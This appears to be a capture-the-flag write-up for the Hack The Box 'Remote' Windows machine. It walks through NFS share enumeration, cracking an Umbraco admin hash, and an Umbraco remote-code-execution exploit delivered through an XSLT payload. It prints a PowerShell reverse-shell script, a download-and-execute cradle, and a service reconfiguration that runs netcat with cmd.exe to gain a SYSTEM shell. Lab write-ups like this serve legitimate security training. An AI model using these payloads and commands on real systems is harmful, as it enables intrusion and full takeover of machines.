Hack The Box - Remote

Remote is an easy Windows machine. An open NFS share allows you to get sources for the websute and get the administrator password. User access is retrieved through a remote command execution on the “Umbraco” CMS. Privilege escalation exploits the “UsoSvc” service to spawn an administrator shell and get access.

Disclaimer : It is a rather quick presentation that deliberately omits the various research areas. Only the actual results and a quick approach are presented.

Discovery / Enumeration

A quick port scan gives us running services on the machine.

Nmap scan report for
Host is up (0.073s latency).
Not shown: 9992 closed ports
21/tcp    open  ftp               Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind           2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3         2049/udp  nfs
|   100003  2,3,4       2049/tcp  nfs
|   100005  1,2,3       2049/tcp  mountd
|   100005  1,2,3       2049/udp  mountd
|   100021  1,2,3,4     2049/tcp  nlockmgr
|   100021  1,2,3,4     2049/udp  nlockmgr
|   100024  1           2049/tcp  status
|_  100024  1           2049/udp  status
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd            1-3 (RPC #100005)
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
10000/tcp open  snet-sensor-mgmt?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2m13s, deviation: 0s, median: 2m13s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-22 15:09:47
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed

NFS share and source code

First research is engaged toward the service behind the port 2049. Having never had to deal with this type of service before, some research was necessary. It turns out that this port refers to NFS network shares. It is also possible to mount these shares from a Linux machine in order to access them. For your information, from a Debian machine, it is necessary to install the nfs-common package. Mounting is simply done with the mount command. Having no information about the path, we can try to mount the root.

$ sudo mount -t nfs TMPMOUNT

It works ! Perfect, so we end up with a site_backup directory containing the sources of what seems to be a website. Probably the site running on port 80 discovered before ! Moreover, sources tell us that it’s the Umbraco CMS.


$ ls

$ cd site_backups 
$ ls
App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config

For simplicity and ease of use, it is advisable to copy the content of the share locally, to be more comfortable for analysis. Once this is done, you can start searching for information. With the sources of the site available, we look for configuration files or files that may contain passwords. Some quick queries over the Internet tell us that user account informations under Umbraco are stored in the Umbraco.sdf file. This one is quickly identified in the App_Data directory.

$ pwd

$ ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

$ file Umbraco.sdf 
Umbraco.sdf: data

The file format not being directly recognized (it is a kind of database.) we will simply use the “Quick & Dirty” method to search for information, I invoke strings! :D

By the way… This method works quite well, since we quickly identify, at the beginning of the file, informations we need !

$ strings Umbraco.sdf


Several accounts, including the administrator account admin@htb.local as well as a hash, probably for the password, in SHA-1 format. This algorithm is rather well known and not recommended today due to its lack of robustness. Several online services offer to try passwird recovering from a hash, by comparing it to huge databases. If it is a weak password, the chances of success are high!

That’s how you recover a nice password :)


Remote Code Execution & user shell

We are now able to work on the machine’s website. A quick look on the different pages does not reveal anything interesting. However, having the administrator login, we can connect to the interface (

Then, I went to see if there were any known vulnerabilities and it turns out that an exploit for remote command execution was released last year, in 2019 (https://www.exploit-db.com/exploits/46153).

The only prerequisite, which we meet, is to have administrator access to the application.

The PoC presented in the exploit opens a calculator on the target machine. However, in our case, a reverse shell would be more appropriate ;).

Two variables are thus used : - proc.StartInfo.Filename for the name of the binary to execute ; - “cmd” to specify possible arguments.

Two ways of doing this. We could for example drop a netcat on the machine and then execute it in order to get a shell, but it is also possible to use Powershell. I chose that.

So we start by getting a Powershell reverse shell. I used the following It’s a rather simple and classic code, which can be found everywhere on the Internet. The only elements to adapt are the IP address and the port.

$socket = new-object System.Net.Sockets.TcpClient('', 5577);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
  $read = $null;
  $res = ""
  while($stream.DataAvailable -or $read -eq $null) {
    $read = $stream.Read($buffer, 0, 1024)
  $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
    $args = "";
    if($out.IndexOf(' ') -gt -1){
      $args = $out.substring($out.IndexOf(' ')+1);
      $out = $out.substring(0,$out.IndexOf(' '));
      if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
        $res = (&"$out" "$args") | out-string;
      $res = (&"$out") | out-string;
    if($res -ne $null){
}While (!$out.equals("exit"))

In order to be able to download the script from the target, we’re going to host it on a temporary web server. The http.server python module will be used for this.

$ python3 -m http.server
Serving HTTP on port 8000 ( ...

Then, we have to prepare the payload in order to reach the ps1 file and to execute it in memory. It is also necessary to set the account credentials.

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "IEX (New-Object Net.WebClient).DownloadString(\'\')"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local";
host = "";

Once all the elements are ready, we run a netcat listener on our machine, then we run the python exploit. If everything works correctly, you should see a GET request go through the web server logs.

# Shell 1
$ python3 46153.py      

# Shell 2
$ python3 -m http.server
Serving HTTP on port 8000 ( ... - - [30/Mar/2020 13:42:05] "GET /minireverse.ps1 HTTP/1.1" 200 -

# Shell 3
$ nc -lvvp 5577
listening on [any] 5577 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 49902

b00m ! A sweet user shell ! :). After user enumeration, we can get the first flag in the C:\Users\Public folder.

Reconnaissance & Information gathering

Like for any good compromission path, the next step is to gather information about the machine to identify potential weaknesses. I took advantage of working on this machine to test a tool I heard of but had never used before, called winPEAS (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS). This is a binary that automates classic enumeration tasks for privilege escalation purposes.

Spoiler: the tool a amazing.

Just like the previous reverse shell, we will use a Python web server to drop the binary. From our reverse shell, we are able to download the file directly and then execute it. For example, we can use a wget directly from the Powershell interpreter.

However, a little trick. In order to be able to execute the wget, it is necessary to run the wget as an argument to another powershell process, like this.

powershell.exe wget -OutFile "C:\tmp\winpeas.exe"

Once it’s done, collecting can start ! The below output is truncated in order to only keep interesting parts.


[+] Basic System Information(T1082&T1124&T1012&T1497&T1212)
  [?] Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
   Hostname: remote
   ProductName: Windows Server 2019 Standard
   EditionID: ServerStandard
   ReleaseId: 1809
   BuildBranch: rs5_release
   CurrentMajorVersionNumber: 10
   CurrentVersion: 6.3
   Architecture: AMD64
   ProcessorCount: 4
   SystemLang: en-US
   KeyboardLang: English (United States)
   TimeZone: (UTC-05:00) Eastern Time (US & Canada)
   IsVirtualMachine: True
   Current Time: 3/22/2020 12:35:20 PM
   HighIntegrity: False
   PartOfDomain: False
   Hotfixes: KB4534119, KB4462930, KB4516115, KB4523204, KB4464455,

 [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
   OS Build Number: 17763
      [!] CVE-2019-0836 : VULNERABLE
       [>] https://exploit-db.com/exploits/46718
       [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
      [!] CVE-2019-0841 : VULNERABLE
       [>] https://github.com/rogue-kdc/CVE-2019-0841
       [>] https://rastamousee/tags/cve-2019-0841/
      [!] CVE-2019-1064 : VULNERABLE
       [>] https://www.rythmstick.net/posts/cve-2019-1064/
      [!] CVE-2019-1130 : VULNERABLE
       [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
      [!] CVE-2019-1253 : VULNERABLE
       [>] https://github.com/padovah4ck/CVE-2019-1253
      [!] CVE-2019-1315 : VULNERABLE
       [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
      [!] CVE-2019-1385 : VULNERABLE
       [>] https://www.youtube.com/watch?v=K6gHnr-VkAg
      [!] CVE-2019-1388 : VULNERABLE
       [>] https://github.com/jas502n/CVE-2019-1388
      [!] CVE-2019-1405 : VULNERABLE
       [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/

[+] Looking for AutoLogon credentials(T1012)
   Some AutoLogon credentials were found!!
   DefaultUserName               :  Administrator

[+] Modifiable Services(T1007)
 [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
  UsoSvc: AllAccess, Start

[+] Looking if you can modify any service registry()
 [?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
  [-] Looks like you cannot change the registry of any service...

[+] Checking write permissions in PATH folders (DLL Hijacking)()
 [?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking

Privilege escalation and root flag

Although often additional steps are necessary, for this machine, the previous enumeration phase gives all the keys you need. Indeed, it seems that the machine is sensitive to various kernel vulnerabilities. However, this is not the way we’re going to use. It also seems that we have enough privilege to interact with the UsoSvc service. Some Internet research quickly leads us to the CVE-2019-1322, which deals with the Update Orchestrator service.

The main idea behind this is to be able to change the service’s configuration to a potentially malicious binary. After that, if we are able to restart the service, the configured binary will be executed when the service is started. It gets interesting when we know that our binary would be executed with SYSTEM rights ;)

So we start by querying the service status.

sc query usosvc

        TYPE               : 30  WIN32  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

then we can try to stop it, and checking now the status.

sc stop usosvc

        TYPE               : 30  WIN32  
        STATE              : 3  STOP_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x3
        WAIT_HINT          : 0x7530

sc query usosvc

        TYPE               : 20  WIN32_SHARE_PROCESS  
        STATE              : 1  STOPPED 
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Perfect! Now, let’s update! The idea here is to execute a privileged reverse shell. So, using the same method as for the winPEAS binary previously, we drop a netcat on the machine.

Then, we update the configuration of the service so that it runs our netcat at boot time.

sc.exe config UsoSvc binpath="C:\tmp\nc64.exe 7788 -e cmd.exe" 
[SC] ChangeServiceConfig SUCCESS

From the attacker machine, we set up a netcat listener and we can restart the service.

# Target
sc start usosvc

# Attacker
$ nc -lvvp 7788
listening on [any] 7788 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 49787
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\system

w00ted !

Hack The Box - Sauna